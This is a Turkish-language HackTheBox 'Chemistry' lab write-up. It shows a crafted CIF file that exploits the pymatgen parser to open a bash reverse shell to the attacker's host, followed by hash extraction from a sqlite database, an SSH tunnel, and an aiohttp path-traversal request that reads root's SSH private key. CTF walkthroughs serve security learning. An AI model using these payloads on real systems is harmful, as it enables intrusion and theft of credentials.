Post

HackTheBox | Chemistry WriteUp

HackTheBox | Chemistry WriteUp

Özet

Web uygulamasında bir dosyanın analiz edildiği sırada oluşan bir zafiyet olduğunu öğrenecek ve dosya içeriğini değiştirerek zafiyeti istismar edeceğiz. Daha sonra web uygulamasında kullanılan sqlite dosyasının içerisinden sistem kullanıcısının bilgilerini çıkaracağız. Yetki yükseltebilmek için sistemde dolaştığımız sırada yerel ağda bir web uygulamasının çalıştığını tespit edecek ve bu web uygulamasında kullanılan bir modülün üzerinde Local File Inclusion zafiyetinin olduğunu keşfedeceğiz. Sonrada bu zafiyetten faydalanarak root kullanıcısının id_rsa dosyasını çekecek ve bu dosyayı kullanarak root kullanıcısına geçiş yapacağız.

Keşif aşaması

Nmap taraması

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ nmap -sV -sC -T4 10.10.11.38
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-22 07:44 EDT
Nmap scan report for 10.10.11.38
Host is up (0.14s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 b6:fc:20:ae:9d:1d:45:1d:0b:ce:d9:d0:20:f2:6f:dc (RSA)
|   256 f1:ae:1c:3e:1d:ea:55:44:6c:2f:f2:56:8d:62:3c:2b (ECDSA)
|_  256 94:42:1b:78:f2:51:87:07:3e:97:26:c9:a2:5c:0a:26 (ED25519)
5000/tcp open  upnp?
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|     Server: Werkzeug/3.0.3 Python/3.9.5
...

Tarama sonucunda 22 (SSH) ve 5000 (HTTP) numaralı portların açık olduğunu ve web uygulamasının python flask ile yapıldığını öğreniyoruz.

80 numaralı port’un incelenmesi

HTTP servisi üzerinde flask ile yapılmış CIF dosyalarını analiz eden bir uygulama barınıyor. Bir kullanıcı oluşturalım daha sonra ise siteye giriş yapalım.

Örnek bir CIF dosyası verilmiş. Bu dosyayı indirdikten sonra tekrar yüklüyor ve sonuçları görüntülüyoruz.

Bazı yazıları doğrudan ekrana yazdırdığını düşünerek dosyayı düzenlemeye çalıştım ama hiçbir şekilde kod çalıştıramadım. Uzantısını google da arattığımızda ise bu sayfa ile karşılaşıyoruz.

Sömürü aşaması

Sayfa içerisinde gördüğümüz CIF dosyasının komut çalıştırdığı alanına reverse shell komutumuzu ekleyelim.

data_5yOhtAoR
_audit_creation_date            2018-06-08
_audit_creation_method          "Pymatgen CIF Parser Arbitrary Code Execution Exploit"

loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]

_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.117/4444 0>&1'");0,0,0'


_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "

Bu içeriği .cif uzantılı olacak şekilde bir dosyaya kayıt ettikten sonra dinlemeye aldığımız port üzerinden bir shell elde ediyoruz.

Yetki yükseltme

rosa

Web uygulamasında kullanıcı girişi olduğunu hatırlıyorsunuzdur, bu kullanıcı bilgilerinin bulunduğu dosyanın içerisinde sistem kullanıcılarından biri olan rosa’nın bilgileride bulunuyor.

1
2
app@chemistry:~/instance$ strings database.db | grep "rosa"
Mrosa63ed86ee9f624c7b14f1d4f43dc251a5'

Hash’i hashes.com sitesinin yardımıyla kırdıktan sonra rosa kullanıcısına geçiş yapıyor ve ilk bayrağı kendi dizininden alıyoruz.

root

8080 numaralı yerel port üzerinde bir web uygulaması çalışıyor.

1
2
3
4
5
6
7
8
9
10
11
12
13
rosa@chemistry:~$ netstat -tupln
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:5000            0.0.0.0:*               LISTEN      34896/bash          
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -                   
rosa@chemistry:~$

Bu web uygulaması ile ilgilenebilmemiz için SSH tünellemesi vasıtasıyla kendi ağımızdan geçireceğiz.

1
$ ssh rosa@10.10.11.38 -L 8080:127.0.0.1:8080

Web uygulaması sistemdeki servislerin kontrolünü sağlayan bir uygulamaya benziyor. Tüm özellikleri de kapalı durumda, site üzerinde hiçbir işlem yapamıyoruz.

Bulunduğu /opt/monitoring_site dizininede giriş iznimiz yok. Geliştirici araçlarının yardımıyla web uygulamasının header bilgilerini görüntülediğimizde python da bulunan aiohttp modülünün 3.9.1 sürümünü kullandığını görüyoruz.

Modülü sürümüyle beraber internette arattığımızda Local File Inclusion zafiyetinin varlığından haberdar oluyoruz. Bu zafiyetten yararlanarak root kullanıcısının dizininde bulunan id_rsa dosyasını çekiyoruz.

1
2
3
4
5
6
7
8
9
rosa@chemistry:~$ curl --path-as-is http://localhost:8080/assets/../../../../../../root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAsFbYzGxskgZ6YM1LOUJsjU66WHi8Y2ZFQcM3G8VjO+NHKK8P0hIU
UbnmTGaPeW4evLeehnYFQleaC9u//vciBLNOWGqeg6Kjsq2lVRkAvwK2suJSTtVZ8qGi1v
j0wO69QoWrHERaRqmTzranVyYAdTmiXlGqUyiy0I7GVYqhv/QC7jt6For4PMAjcT0ED3Gk
HVJONbz2eav5aFJcOvsCG1aC93Le5R43Wgwo7kHPlfM5DjSDRqmBxZpaLpWK3HwCKYITbo
DfYsOMY0zyI0k5yLl1s685qJIYJHmin9HZBmDIwS7e2riTHhNbt2naHxd0WkJ8PUTgXuV2
...

Daha sonra kendisini kullanarak sisteme giriş yapıyor ve bayrağı /root dizininden alıyoruz.

1
2
3
4
5
6
7
$ chmod 600 id_rsa
$ ssh root@10.10.11.38 -i id_rsa
...
root@chemistry:~# ls
root.txt
root@chemistry:~# cat root.txt 
33a1...8a9a
This post is licensed under CC BY 4.0 by the author.